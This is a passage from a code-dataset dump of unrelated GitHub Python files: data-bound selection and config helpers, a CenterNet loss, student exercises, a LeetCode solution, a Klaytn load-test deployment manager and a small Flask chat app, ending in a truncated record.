selectArrayBounds(a, x_low=None, x_upp=None, num_x_min=None, ask_bounds=False,\n title='select array bounds'):\n \"\"\"Interactively select the lower and upper data bounds for a numpy array.\n \"\"\"\n if isinstance(a, (tuple, list)):\n a = np.array(a)\n if not isinstance(a, np.ndarray) or a.ndim != 1:\n illegal_value(a.ndim, 'array type or dimension', 'selectArrayBounds')\n return None\n len_a = len(a)\n if num_x_min is None:\n num_x_min = 1\n else:\n if num_x_min < 2 or num_x_min > len_a:\n logging.warning('Illegal value for num_x_min in selectArrayBounds, input ignored')\n num_x_min = 1\n\n # Ask to use current bounds\n if ask_bounds and (x_low is not None or x_upp is not None):\n if x_low is None:\n x_low = 0\n if not is_int(x_low, 0, len_a-num_x_min):\n illegal_value(x_low, 'x_low', 'selectArrayBounds')\n return None\n if x_upp is None:\n x_upp = len_a\n if not is_int(x_upp, x_low+num_x_min, len_a):\n illegal_value(x_upp, 'x_upp', 'selectArrayBounds')\n return None\n quickPlot((range(len_a), a), vlines=(x_low,x_upp), title=title)\n if not input_yesno(f'\\nCurrent array bounds: [{x_low}, {x_upp}] '+\n 'use these values (y/n)?', 'y'):\n x_low = None\n x_upp = None\n else:\n clearPlot(title)\n return x_low, x_upp\n\n if x_low is None:\n x_min = 0\n x_max = len_a\n x_low_max = len_a-num_x_min\n while True:\n quickPlot(range(x_min, x_max), a[x_min:x_max], title=title)\n zoom_flag = input_yesno('Set lower data bound (y) or zoom in (n)?', 'y')\n if zoom_flag:\n x_low = input_int(' Set lower data bound', 0, x_low_max)\n break\n else:\n x_min = input_int(' Set lower zoom index', 0, x_low_max)\n x_max = input_int(' Set upper zoom index', x_min+1, x_low_max+1)\n else:\n if not is_int(x_low, 0, len_a-num_x_min):\n illegal_value(x_low, 'x_low', 'selectArrayBounds')\n return None\n if x_upp is None:\n x_min = x_low+num_x_min\n x_max = len_a\n x_upp_min = x_min\n while True:\n quickPlot(range(x_min, x_max), a[x_min:x_max], title=title)\n zoom_flag = input_yesno('Set upper data bound (y) or zoom in (n)?', 'y')\n if zoom_flag:\n x_upp = input_int(' Set upper data bound', x_upp_min, len_a)\n break\n else:\n x_min = input_int(' Set upper zoom index', x_upp_min, len_a-1)\n x_max = input_int(' Set upper zoom index', x_min+1, len_a)\n else:\n if not is_int(x_upp, x_low+num_x_min, len_a):\n illegal_value(x_upp, 'x_upp', 'selectArrayBounds')\n return None\n print(f'lower bound = {x_low} (inclusive)\\nupper bound = {x_upp} (exclusive)]')\n quickPlot((range(len_a), a), vlines=(x_low,x_upp), title=title)\n if not input_yesno('Accept these bounds (y/n)?', 'y'):\n x_low, x_upp = selectArrayBounds(a, None, None, num_x_min, title=title)\n clearPlot(title)\n return x_low, x_upp\n\ndef selectImageBounds(a, axis, low=None, upp=None, num_min=None,\n title='select array bounds'):\n \"\"\"Interactively select the lower and upper data bounds for a 2D numpy array.\n \"\"\"\n if isinstance(a, np.ndarray):\n if a.ndim != 2:\n illegal_value(a.ndim, 'array dimension', 'selectImageBounds')\n return None\n elif isinstance(a, (tuple, list)):\n if len(a) != 2:\n illegal_value(len(a), 'array dimension', 'selectImageBounds')\n return None\n if len(a[0]) != len(a[1]) or not (isinstance(a[0], (tuple, list, np.ndarray)) and\n isinstance(a[1], (tuple, list, np.ndarray))):\n logging.error(f'Illegal array type in selectImageBounds ({type(a[0])} {type(a[1])})')\n return None\n a = np.array(a)\n else:\n illegal_value(a, 'array type', 'selectImageBounds')\n return None\n if axis < 0 or axis >= a.ndim:\n illegal_value(axis, 'axis', 'selectImageBounds')\n return None\n low_save = low\n upp_save = upp\n num_min_save = num_min\n if num_min is None:\n num_min = 1\n else:\n if num_min < 2 or num_min > a.shape[axis]:\n logging.warning('Illegal input for num_min in selectImageBounds, input ignored')\n num_min = 1\n if low is None:\n min_ = 0\n max_ = a.shape[axis]\n low_max = a.shape[axis]-num_min\n while True:\n if axis:\n quickImshow(a[:,min_:max_], title=title, aspect='auto',\n extent=[min_,max_,a.shape[0],0])\n else:\n quickImshow(a[min_:max_,:], title=title, aspect='auto',\n extent=[0,a.shape[1], max_,min_])\n zoom_flag = input_yesno('Set lower data bound (y) or zoom in (n)?', 'y')\n if zoom_flag:\n low = input_int(' Set lower data bound', 0, low_max)\n break\n else:\n min_ = input_int(' Set lower zoom index', 0, low_max)\n max_ = input_int(' Set upper zoom index', min_+1, low_max+1)\n else:\n if not is_int(low, 0, a.shape[axis]-num_min):\n illegal_value(low, 'low', 'selectImageBounds')\n return None\n if upp is None:\n min_ = low+num_min\n max_ = a.shape[axis]\n upp_min = min_\n while True:\n if axis:\n quickImshow(a[:,min_:max_], title=title, aspect='auto',\n extent=[min_,max_,a.shape[0],0])\n else:\n quickImshow(a[min_:max_,:], title=title, aspect='auto',\n extent=[0,a.shape[1], max_,min_])\n zoom_flag = input_yesno('Set upper data bound (y) or zoom in (n)?', 'y')\n if zoom_flag:\n upp = input_int(' Set upper data bound', upp_min, a.shape[axis])\n break\n else:\n min_ = input_int(' Set upper zoom index', upp_min, a.shape[axis]-1)\n max_ = input_int(' Set upper zoom index', min_+1, a.shape[axis])\n else:\n if not is_int(upp, low+num_min, a.shape[axis]):\n illegal_value(upp, 'upp', 'selectImageBounds')\n return None\n bounds = (low, upp)\n a_tmp = np.copy(a)\n a_tmp_max = a.max()\n if axis:\n a_tmp[:,bounds[0]] = a_tmp_max\n a_tmp[:,bounds[1]-1] = a_tmp_max\n else:\n a_tmp[bounds[0],:] = a_tmp_max\n a_tmp[bounds[1]-1,:] = a_tmp_max\n print(f'lower bound = {low} (inclusive)\\nupper bound = {upp} (exclusive)')\n quickImshow(a_tmp, title=title)\n del a_tmp\n if not input_yesno('Accept these bounds (y/n)?', 'y'):\n bounds = selectImageBounds(a, axis, low=low_save, upp=upp_save, num_min=num_min_save,\n title=title)\n return bounds\n\n\nclass Config:\n \"\"\"Base class for processing a config file or dictionary.\n \"\"\"\n def __init__(self, config_file=None, config_dict=None):\n self.config = {}\n self.load_flag = False\n self.suffix = None\n\n # Load config file \n if config_file is not None and config_dict is not None:\n logging.warning('Ignoring config_dict (both config_file and config_dict are specified)')\n if config_file is not None:\n self.loadFile(config_file)\n elif config_dict is not None:\n self.loadDict(config_dict)\n\n def loadFile(self, config_file):\n \"\"\"Load a config file.\n \"\"\"\n if self.load_flag:\n logging.warning('Overwriting any previously loaded config file')\n self.config = {}\n\n # Ensure config file exists\n if not os.path.isfile(config_file):\n logging.error(f'Unable to load {config_file}')\n return\n\n # Load config file (for now for Galaxy, allow .dat extension)\n self.suffix = os.path.splitext(config_file)[1]\n if self.suffix == '.yml' or self.suffix == '.yaml' or self.suffix == '.dat':\n with open(config_file, 'r') as f:\n self.config = yaml.safe_load(f)\n elif self.suffix == '.txt':\n with open(config_file, 'r') as f:\n lines = f.read().splitlines()\n self.config = {item[0].strip():literal_eval(item[1].strip()) for item in\n [line.split('#')[0].split('=') for line in lines if '=' in line.split('#')[0]]}\n else:\n illegal_value(self.suffix, 'config file extension', 'Config.loadFile')\n\n # Make sure config file was correctly loaded\n if isinstance(self.config, dict):\n self.load_flag = True\n else:\n logging.error(f'Unable to load dictionary from config file: {config_file}')\n self.config = {}\n\n def loadDict(self, config_dict):\n \"\"\"Takes a dictionary and places it into self.config.\n \"\"\"\n if self.load_flag:\n logging.warning('Overwriting the previously loaded config file')\n\n if isinstance(config_dict, dict):\n self.config = config_dict\n self.load_flag = True\n else:\n illegal_value(config_dict, 'dictionary config object', 'Config.loadDict')\n self.config = {}\n\n def saveFile(self, config_file):\n \"\"\"Save the config file (as a yaml file only right now).\n \"\"\"\n suffix = os.path.splitext(config_file)[1]\n if suffix != '.yml' and suffix != '.yaml':\n illegal_value(suffix, 'config file extension', 'Config.saveFile')\n\n # Check if config file exists\n if os.path.isfile(config_file):\n logging.info(f'Updating {config_file}')\n else:\n logging.info(f'Saving {config_file}')\n\n # Save config file\n with open(config_file, 'w') as f:\n yaml.safe_dump(self.config, f)\n\n def validate(self, pars_required, pars_missing=None):\n \"\"\"Returns False if any required keys are missing.\n \"\"\"\n if not self.load_flag:\n logging.error('Load a config file prior to calling Config.validate')\n\n def validate_nested_pars(config, par):\n par_levels = par.split(':')\n first_level_par = par_levels[0]\n try:\n first_level_par = int(first_level_par)\n except:\n pass\n try:\n next_level_config = config[first_level_par]\n if len(par_levels) > 1:\n next_level_par = ':'.join(par_levels[1:])\n return validate_nested_pars(next_level_config, next_level_par)\n else:\n return True\n except:\n return False\n\n pars_missing = [p for p in pars_required if not validate_nested_pars(self.config, p)]\n if len(pars_missing) > 0:\n logging.error(f'Missing item(s) in configuration: {\", \".join(pars_missing)}')\n return False\n else:\n return True\n","repo_name":"ximg-chess/galaxytools","sub_path":"tools/tomo/general.py","file_name":"general.py","file_ext":"py","file_size_in_byte":53760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"44018444858","text":"import tensorflow as tf\n\n\n\ndef centerNetLoss(ytrue, ypred, alpha=2.0, beta=4.0):\n\n C = tf.shape(ytrue)[-1] - 4\n\n hmTrue, whLogTrue, pdeltaTrue = tf.split(ytrue, [C, 2, 2], axis=-1)\n hmPred, whLogPred, pdeltaPred = tf.split(ypred, [C, 2, 2], axis=-1)\n hmPred = tf.clip_by_value(hmPred, 1e-4, 1.0 - 1e-4)\n\n m = tf.cast(tf.greater_equal(hmTrue,1.0), tf.float32) # [B,H,W,C]\n N = tf.reduce_sum(m, axis=[1,2,3]) + 1 \n\n # Heatmap error\n a = tf.pow(1.0-hmPred, alpha)*tf.math.log(hmPred)\n b = tf.pow(1.0-hmTrue, beta)*tf.pow(hmPred, alpha)*tf.math.log(1.0-hmPred)\n\n lossHm = -tf.reduce_sum(m*a + (1.0-m)*b, axis=[1,2,3])\n\n # Local and box error\n mask = tf.expand_dims(tf.cast(tf.greater(pdeltaTrue[...,0],0.0), tf.float32),-1) # [B,H,W,1]\n N = tf.reduce_sum(mask, axis=[1,2,3]) + 1 \n\n lossWh = tf.reduce_sum( mask*tf.math.abs(whLogPred - whLogTrue), axis=[1,2,3])\n lossPdelta = tf.reduce_sum( mask*tf.math.abs(pdeltaPred - pdeltaTrue), axis=[1,2,3])\n\n return tf.reduce_mean( 1.0/N*(lossHm + 0.1* lossWh + lossPdelta ))\n\n","repo_name":"cmb87/centernetNG","sub_path":"src/losses.py","file_name":"losses.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11572700503","text":"import time as tm\n\ndef contagem(i, f, p):\n print('-='*20)\n print(f'Contagem de {i} até {f} de {abs(p)} em {abs(p)}')\n if p == 0:\n p = 1\n if i < f:\n cont = i\n while cont <= f:\n print(f'{cont}', end=' ', flush=True)\n cont += p\n tm.sleep(0.5)\n print()\n elif i > f:\n cont = i\n while cont >= f:\n print(f'{cont}', end=' ', flush=True)\n cont -= abs(p)\n tm.sleep(0.5)\n print()\n\n\ncontagem(1, 10, 1)\ncontagem(10, 0, 2)\n\nprint('Agora é sua vez de personalizar a contagem!')\nini = int(input('Início: '))\nfim = int(input('Fim: '))\npas = int(input('Passo: '))\ncontagem(ini, fim, pas)\n","repo_name":"herozandn/Python","sub_path":"Conteudo_python/Cursoemvideo/exercícios/ex098.py","file_name":"ex098.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33845999947","text":"# Definition for an interval.\nclass Interval(object):\n def __init__(self, s=0, e=0):\n self.start = s\n self.end = e\n\n\nclass Solution(object):\n def insert(self, intervals, newInterval):\n \"\"\"\n :type intervals: List[Interval]\n :type newInterval: Interval\n :rtype: List[Interval]\n \"\"\"\n start = newInterval.start\n end = newInterval.end\n res = []\n i = 0\n while i < len(intervals):\n if start <= intervals[i].end:\n if end < intervals[i].start:\n break\n start = min(start, intervals[i].start)\n end = max(end, intervals[i].end)\n else:\n res.append(intervals[i])\n i += 1\n res.append(Interval(start, end))\n res += intervals[i:]\n return res\n\n\nif __name__ == \"__main__\":\n intervals = [Interval(1, 5)]\n newInterval = Interval(6, 8)\n res = Solution().insert(intervals, newInterval)\n for r in res:\n print(r.start, r.end)\n","repo_name":"simplynaive/LeetCode","sub_path":"57. Insert Interval.py","file_name":"57. Insert Interval.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42967373000","text":"#!/usr/bin/env python3\nimport os\nimport sys\nfrom AWSInstanceManager import AWSInstanceManager\nfrom KlaytnCommon import ExecuteShell, Colorize, GetOverridOptions\n\nclass LocustSCSlaveInstanceManager(AWSInstanceManager):\n\tdef __init__(self, jsonConf, userInfo):\n\t\tnodeType = \"locustSCSlave\"\n\t\tawsConf = jsonConf[\"deploy\"][nodeType][\"aws\"]\n\t\tAWSInstanceManager.__init__(self, awsConf, nodeType, userInfo)\n\n\t\tself.nodeType = nodeType\n\t\tself.jsonConf = jsonConf\n\n\t\tnumCNs = self.jsonConf[\"deploy\"][\"CN\"][\"aws\"][\"numNodes\"]\n\n\t\tself.catLogCmdFormat = \"cd ~/%s && cat slave-%s.%d.log\"\n\t\tself.tailLogCmdFormat = \"cd ~/%s && tail -f slave-%s.%d.log\"\n\n\t\tif self.jsonConf[\"deploy\"][\"locustSCMaster\"][\"enabled\"] == False:\n\t\t\tprint (\"Since locustSCMaster is disabled, skipping locust slaveSC...\")\n\t\t\tprint (\"locustSCSlave cannot be enabled if locustSCMaster is disabled.\")\n\n\t\tif self.jsonConf[\"deploy\"][nodeType][\"enabled\"] == False:\n\t\t\tprint (\"Since locustSCSlave is disabled, skipping locust slave...\")\n\t\t\tsys.exit(0)\n\n\tdef getMasterSCIp(self):\n\t\twith open(\"upload/locustSCMaster0/privateip\") as f:\n\t\t\tmasterIp = f.readline().strip()\n\t\treturn masterIp\n\n\tdef getENIp(self):\n\t\twith open(\"upload/EN0/privateip\") as f:\n\t\t\tip = f.readline().strip()\n\t\treturn ip\n\n\tdef Prepare(self):\n\t\thosts = self.GetPublicIPAddresses()\n\t\tif len(hosts) == 0:\n\t\t\tprint (\"No hosts available.\")\n\n\t\tsrcDir = self.nodeType\n\t\tfor i in range(0, len(hosts)):\n\t\t\tself.PrepareById(i)\n\n\tdef PrepareById(self, nodeIdx):\n\t\tself.checkIndex(nodeIdx)\n\t\ttargetDir = \"upload/%s%d\" % (self.nodeType, nodeIdx)\n\t\tExecuteShell(\"mkdir -p %s\" % targetDir)\n\n\t\tlocustBinaryPath = self.jsonConf[\"source\"][\"locustSC\"][\"binaryPath\"]\n\t\tExecuteShell(\"cp -r %s/* %s\" % (locustBinaryPath, targetDir))\n\n\tdef Upload(self):\n\t\thosts = self.GetPublicIPAddresses()\n\t\tif len(hosts) == 0:\n\t\t\tprint (\"No hosts available.\")\n\t\tself.uploadFiles(range(0, len(hosts)), hosts)\n\n\tdef UploadById(self, index):\n\t\tself.checkIndex(index)\n\t\thosts = self.GetPublicIPAddressesById(index)\n\t\tself.uploadFiles([index], hosts)\n\n\tdef uploadFiles(self, indices, hosts):\n\t\tprint (\"upload to %s\" % (self.nodeType))\n\t\tremoteDir = \"~/%s\" % self.nodeType\n\t\tself.execute(hosts, \"mkdir -p %s\" % remoteDir)\n\n\t\tsrclist = []\n\t\tdestlist = []\n\t\tfor i in range(len(hosts)):\n\t\t\tlocalDir = \"upload/%s%d\" % (self.nodeType, i)\n\t\t\tsrclist.append(\"%s/*\" % (localDir))\n\t\t\tdestlist.append(remoteDir)\n\t\tself.uploadList(hosts, srclist, destlist)\n\n\tdef Init(self):\n\t\thosts = self.GetPublicIPAddresses()\n\t\tif len(hosts) == 0:\n\t\t\tprint (\"No hosts available.\")\n\t\t# Do nothing.\n\n\tdef InitById(self, index):\n\t\thosts = self.GetPublicIPAddressesById(index)\n\t\tif len(hosts) == 0:\n\t\t\tprint (\"No hosts available.\")\n\t\t# Do nothing.\n\n\tdef Start(self):\n\t\thosts = self.GetPublicIPAddresses()\n\t\tif len(hosts) == 0:\n\t\t\tprint (\"No hosts available.\")\n\t\tself.startHosts(hosts, 0)\n\n\tdef StartById(self, index):\n\t\thosts = self.GetPublicIPAddressesById(index)\n\t\tif len(hosts) == 0:\n\t\t\tprint (\"No hosts available.\")\n\t\tself.startHosts(hosts, index)\n\n\tdef startHosts(self, hosts, startNodeId):\n\t\tnumNodes = int(self.jsonConf[\"deploy\"][self.nodeType][\"aws\"][\"numNodes\"])\n\t\tnumSlaves = int(self.jsonConf[\"deploy\"][self.nodeType][\"slavesPerNode\"])\n\t\teachRps = int(self.jsonConf[\"deploy\"][self.nodeType][\"RPS\"] / numNodes / numSlaves)\n\t\t#eachNumAccForSignedTx = self.jsonConf[\"deploy\"][self.nodeType][\"numAccForSignedTx\"] / numNodes / numSlaves\n\t\t#activeAccPercent = self.jsonConf[\"deploy\"][self.nodeType][\"activeAccPercent\"]\n\t\tnumMcUsers = int(self.jsonConf[\"deploy\"][self.nodeType][\"numAccForMcUsers\"] / numNodes / numSlaves)\n\t\tnumScUsers = int(self.jsonConf[\"deploy\"][self.nodeType][\"numAccForScUsers\"] / numNodes / numSlaves)\n\n\t\tmcEndpoints = []\n\t\tscEndpoints = []\n\t\tfor nodeType in self.jsonConf[\"deploy\"][self.nodeType][\"endpoints\"]:\n\t\t\tnumNodes = self.jsonConf[\"deploy\"][nodeType][\"aws\"][\"numNodes\"]\n\t\t\t# TODO replace nodeIdx 0 with accureate one\n\t\t\tport = GetOverridOptions(self.jsonConf, nodeType, 0)[\"RPC_PORT\"]\n\t\t\tfor i in range(0, numNodes):\n\t\t\t\twith open(\"upload/%s%d/privateip\" % (nodeType, i)) as f:\n\t\t\t\t\tip = f.readline().strip()\n\t\t\t\tif nodeType in [\"SCN\", \"SPN\", \"SEN\"]:\n\t\t\t\t\tscEndpoints.append(\"%s:%d\" % (ip, port))\n\t\t\t\telse:\n\t\t\t\t\tif \"http://\" in nodeType:\n\t\t\t\t\t\t# in this case, the value is an URL, not nodetype.\n\t\t\t\t\t\tscEndpoints.append(nodeType.lstrip(\"http://\"))\n\t\t\t\t\telse:\n\t\t\t\t\t\tmcEndpoints.append(\"%s:%d\" % (ip, port))\n\n\t\tif len(mcEndpoints) == 0:\n\t\t\tException(\"Parent chain Endpoint for SC locust slave should not be 0\")\n\t\tif len(scEndpoints) == 0:\n\t\t\tException(\"Child chain Endpoint for SC locust slave should not be 0\")\n\n\t\tsubBridgeEndpoints = \"\"\n\t\tsubBridgeNode = self.jsonConf[\"deploy\"][\"ServiceChain\"][\"bridges\"][\"subBridge\"]\n\t\tsubBridgeNum = self.jsonConf[\"deploy\"][\"ServiceChain\"][\"bridges\"][\"num\"]\n\t\tport = GetOverridOptions(self.jsonConf, \"SEN\", 0)[\"RPC_PORT\"]\n\t\tfor i in range(0, subBridgeNum):\n\t\t\twith open(\"upload/%s%d/privateip\" % (subBridgeNode, i)) as f:\n\t\t\t\tip = f.readline().strip()\n\t\t\tsubBridgeEndpoints += \"http://%s:%d\" % (ip, port)\n\t\t\tif i != subBridgeNum-1:\n\t\t\t\tsubBridgeEndpoints += \",\"\n\n\t\tmcKeys = self.getTestKeysForLocustSC(\"cn\")\n\t\tscKeys = self.getTestKeysForLocustSC(\"scn\")\n\t\tmasterIp = self.getMasterSCIp()\n\t\tenIp = self.getENIp()\n\n\t\tthreshold = self.jsonConf[\"deploy\"][\"ServiceChain\"][\"valueTransfer\"][\"threshold\"]\n\n\t\ttc = \",\".join(self.jsonConf[\"deploy\"][self.nodeType][\"testcases\"])\n\t\tlenHosts = len(hosts)\n\t\tfor i in range(startNodeId, lenHosts):\n\t\t\tfor j in range(0, numSlaves):\n\t\t\t\tidx = i * numSlaves + j\n\t\t\t\tmcKey = mcKeys[idx % len(mcKeys)]\n\t\t\t\tscKey = scKeys[idx % len(scKeys)]\n\t\t\t\tmcEndpoint = mcEndpoints[idx % len(mcEndpoints)]\n\t\t\t\tscEndpoint = scEndpoints[idx % len(scEndpoints)]\n\t\t\t\tself.execute([hosts[i-startNodeId]], \"nohup bash -c \\'./%s/bin/klayslave --max-rps %s --numUser=%s --numScUser=%s --master-host %s --master-port 5557 -threshold %d -mcKey %s -scKey %s -tc=\\\"%s\\\" -mcEndpoint http://%s -mcIP %s -scEndpoint http://%s > %s/slave-%s.%d.log 2>&1 -subbridges %s &\\'\" % (self.nodeType, eachRps, numMcUsers, numScUsers, masterIp, threshold, mcKey, scKey, tc, mcEndpoint, enIp, scEndpoint, self.nodeType, mcKey, j, subBridgeEndpoints))\n\n\tdef Stop(self):\n\t\thosts = self.GetPublicIPAddresses()\n\t\tif len(hosts) == 0:\n\t\t\tprint (\"No hosts available.\")\n\t\tself.stopHosts(hosts)\n\n\tdef StopById(self, index):\n\t\thosts = self.GetPublicIPAddressesById(index)\n\t\tif len(hosts) == 0:\n\t\t\tprint (\"No hosts available.\")\n\t\tself.stopHosts(hosts)\n\n\tdef stopHosts(self, hosts):\n\t\tself.execute(hosts, \"killall -2 klayslave\")\n\t\tself.execute(hosts, \"pkill klayslave\")\n\n\tdef CatLogById(self, nodeIdx, slaveIdx):\n\t\tself.checkIndex(nodeIdx)\n\t\tself.checkSlaveIndex(slaveIdx)\n\t\tnumSlaves = self.jsonConf[\"deploy\"][self.nodeType][\"slavesPerNode\"]\n\t\tprivateKeys = self.getCNPrivateKeys()\n\t\thosts = self.GetPublicIPAddressesById(nodeIdx)\n\t\tidx = nodeIdx * numSlaves + slaveIdx\n\t\tkey = privateKeys[idx % len(privateKeys)]\n\t\tself.execute(hosts, self.catLogCmdFormat % (self.nodeType, key, slaveIdx) )\n\n\tdef TailLogById(self, nodeIdx, slaveIdx):\n\t\tself.checkIndex(nodeIdx)\n\t\tself.checkSlaveIndex(slaveIdx)\n\t\tnumSlaves = self.jsonConf[\"deploy\"][self.nodeType][\"slavesPerNode\"]\n\t\thosts = self.GetPublicIPAddressesById(nodeIdx)\n\t\tidx = nodeIdx * numSlaves + slaveIdx\n\t\tprivateKeys = self.getCNPrivateKeys()\n\t\tkey = privateKeys[idx % len(privateKeys)]\n\t\tself.execute(hosts, self.tailLogCmdFormat % (self.nodeType, key, slaveIdx) )\n\n\tdef checkSlaveIndex(self, index):\n\t\tnumSlaves = self.jsonConf[\"deploy\"][self.nodeType][\"slavesPerNode\"]\n\t\tif index < 0 or index >= numSlaves:\n\t\t\traise Exception(\"slaveIdx should be in [%d, %d]\" % (0, numSlaves-1))\n\n\tdef getCNPrivateKeys(self):\n\t\tnumCNs = self.jsonConf[\"deploy\"][\"CN\"][\"aws\"][\"numNodes\"]\n\n\t\tprivateKeys = []\n\t\tfor i in range(0, numCNs):\n\t\t\twith open(\"upload/CN%d/keys/nodekey\" % i) as f:\n\t\t\t\tk = f.readline().strip()\n\t\t\tprivateKeys.append(k)\n\t\treturn privateKeys\n\n\tdef getSCNPrivateKeys(self):\n\t\tnumCNs = self.jsonConf[\"deploy\"][\"SCN\"][\"aws\"][\"numNodes\"]\n\n\t\tprivateKeys = []\n\t\tfor i in range(0, numCNs):\n\t\t\twith open(\"upload/SCN%d/keys/nodekey\" % i) as f:\n\t\t\t\tk = f.readline().strip()\n\t\t\tprivateKeys.append(k)\n\t\treturn privateKeys\n\n\tdef getTestKeysForLocustSC(self, node):\n\t\t# The private key for locust is in homi-output-[cn|scn]/keys-test/testkey**\n\t\t# The number is started from 6. key 1 ~ 5 is for test case\n\n\t\tstartKeyIdx = 6\n\t\tendKeyIdx = 11\n\n\t\tprivateKeys = []\n\t\tfor i in range(startKeyIdx, endKeyIdx):\n\t\t\tk = self.getTestKey(node, i)\n\t\t\tprivateKeys.append(k)\n\t\treturn privateKeys\n\n\tdef getTestKey(self, node, index):\n\t\twith open(\"homi-output-%s/keys_test/testkey%d\" % (node, index)) as f:\n\t\t\treturn f.readline().strip()\n","repo_name":"hohosungho/klaytn-deploy","sub_path":"plib/LocustSCSlaveInstanceManager.py","file_name":"LocustSCSlaveInstanceManager.py","file_ext":"py","file_size_in_byte":8663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"74790677492","text":"from flask import Flask, render_template\nfrom flask_socketio import SocketIO, send\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\n\napp.secret_key = 'test'\n\nsocketio = SocketIO(app)\n\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///data.db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy(app)\n\nclass History(db.Model):\n id = db.Column('id', db.Integer, primary_key = True)\n message = db.Column('message', db.String(250))\n\n@app.before_first_request\ndef create_tables():\n db.create_all()\n\n@socketio.on('message')\ndef handlemsg(msg):\n print('Message:'+msg)\n\n message = History(message = msg)\n db.session.add(message)\n db.session.commit()\n\n send(msg, broadcast=True)\n\n@app.route('/')\ndef index():\n messages = History.query.all()\n return render_template('index.html', messages= messages)\n\n\nif __name__ == '__main__':\n socketio.run(app)","repo_name":"jpbrtn/simplechat","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18468736003","text":"def rectangles(n,m) :\n\ts = 0\n\tfor i in range(n) :\n\t\tfor j in range(m) :\n\t\t\ts+=(n-i)*(m-j)\n\treturn s\n\ni=0\nwhile rectangles(i,i)<2000000 :\n\ti+=1\nprint(i, rectangles(i,i))\n\nnearest = 0,0\nr_nearest = 0\nfor i in range(100) :\n\tfor j in range(i) :\n\t\tr = rectangles(i,j)\n\t\tif abs(2000000-r)<abs(2000000-r_nearest) :\n\t\t\tnearest = i,j\n\t\t\tr_nearest = r\n\nprint(nearest, r_nearest)\n","repo_name":"gabrieldelisle/Euler-project","sub_path":"euler85.py","file_name":"euler85.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42828687445","text":"import math\nv = float(input(\"Velocidade\"))\na = float(input(\"Angulo\"))\n\nr = a * math.pi /180\n\n\nd = (v**2) * (math.pi(2 * r)) / 9.8\n\nif d <= 98:\n print(\"Muito perto\")\nelse:\n if d >= 102:\n print(\"Muito longe\")\n else:\n print(\"Acertou!\")","repo_name":"gabriellaec/desoft-analise-exercicios","sub_path":"backup/user_216/ch25_2020_09_09_22_02_09_991739.py","file_name":"ch25_2020_09_09_22_02_09_991739.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16671226890","text":"import json\nimport os\n\nimport boto3\n\n\ndef lambda_handler(event, context):\n dynamodb = boto3.resource('dynamodb')\n table_name = os.environ['TableName']\n prefix = os.environ[\"BucketName\"] + '/' + event['queryStringParameters']['prefix']\n try:\n table = dynamodb.Table(table_name)\n\n items = table.scan()['Items']\n occurrencesPrefix = prefix.count('/')\n files = []\n for item in items:\n file_path = item['id']\n if file_path.startswith(prefix) and prefix.count('/') == occurrencesPrefix:\n date = item['editTime']\n parts = file_path.split('/')\n file_name = parts[-1]\n files.append({\"name\": file_name, \"updated\": date})\n\n sorted_files = sorted(files, key=lambda x: x[\"updated\"])\n print(sorted_files)\n return {\n 'statusCode': 200,\n 'body': json.dumps(sorted_files)\n }\n except Exception as e:\n return {\n 'statusCode': 500,\n 'body': f'Error retrieving files: {str(e)}'\n }\n","repo_name":"jovannajdovski/Cloud_photo_album","sub_path":"photo-album/file/get/get_file.py","file_name":"get_file.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"17516492140","text":"import sys\n\nsys.stdin = open('input.txt')\n\nT = 10\n\n# 회문 검사 반환값은 회문 길이로 반환\ndef circular_word(N, length, word):\n i = 0\n while i + length <= N:\n # i ~ i+length 까지를 회문 검사\n mid = length // 2 # 중간을 기준으로 왼쪽과 오른쪽 역배열을 비교\n if length % 2 == 0: # 짝수\n right_word = word[i:mid+i]\n left_word = word[i+length-1:mid+i-1:-1]\n else: # 홀수\n right_word = word[i:mid+i]\n left_word = word[i+length-1:mid+i:-1]\n if right_word == left_word:\n return length\n i += 1\n return 0\n\n# 100개에 알파벳으로 이루어진 100개의 가로 문자열과 세로 문자열을 한 리스트에 담아\n# 그것을 length를 100 가변하면서 최댓값을 찾는다\n\nfor tc in range(1, T + 1):\n case_num = int(input())\n N = 100\n words_list = [input() for _ in range(N)]\n max_length = 0\n for i in range(N):\n temp_str = '' # 일시적인 빈 문자열을 만들어\n for j in range(N):\n temp_str = temp_str + words_list[j][i] # 0,0 ~ 9,0 알파벳 추가\n words_list = words_list + [temp_str] # 문자열 리스트에 추가\n\n for len in range(99 ,0 ,-1): # 위에서 부터 회문을 구하고, 구하면 멈추기\n for i in range(N*2):\n if max_length < circular_word(N, len, words_list[i]):\n max_length = circular_word(N, len, words_list[i])\n\n print(f'#{tc}', max_length)\n","repo_name":"Sangtaek-Lee/Algorithm","sub_path":"problem/0217/1216/sol1.py","file_name":"sol1.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72793614452","text":"#!/usr/bin/python3.6\r\n#encoding=utf-8\r\nimport os\r\nimport struct\r\nimport pickle\r\nimport argparse\r\nimport numpy as np\r\nimport sys\r\nROOT_DIR = os.path.dirname(os.path.abspath(__file__))\r\nsys.path.append(os.path.join(ROOT_DIR, \"models\"))\r\nfrom utils import 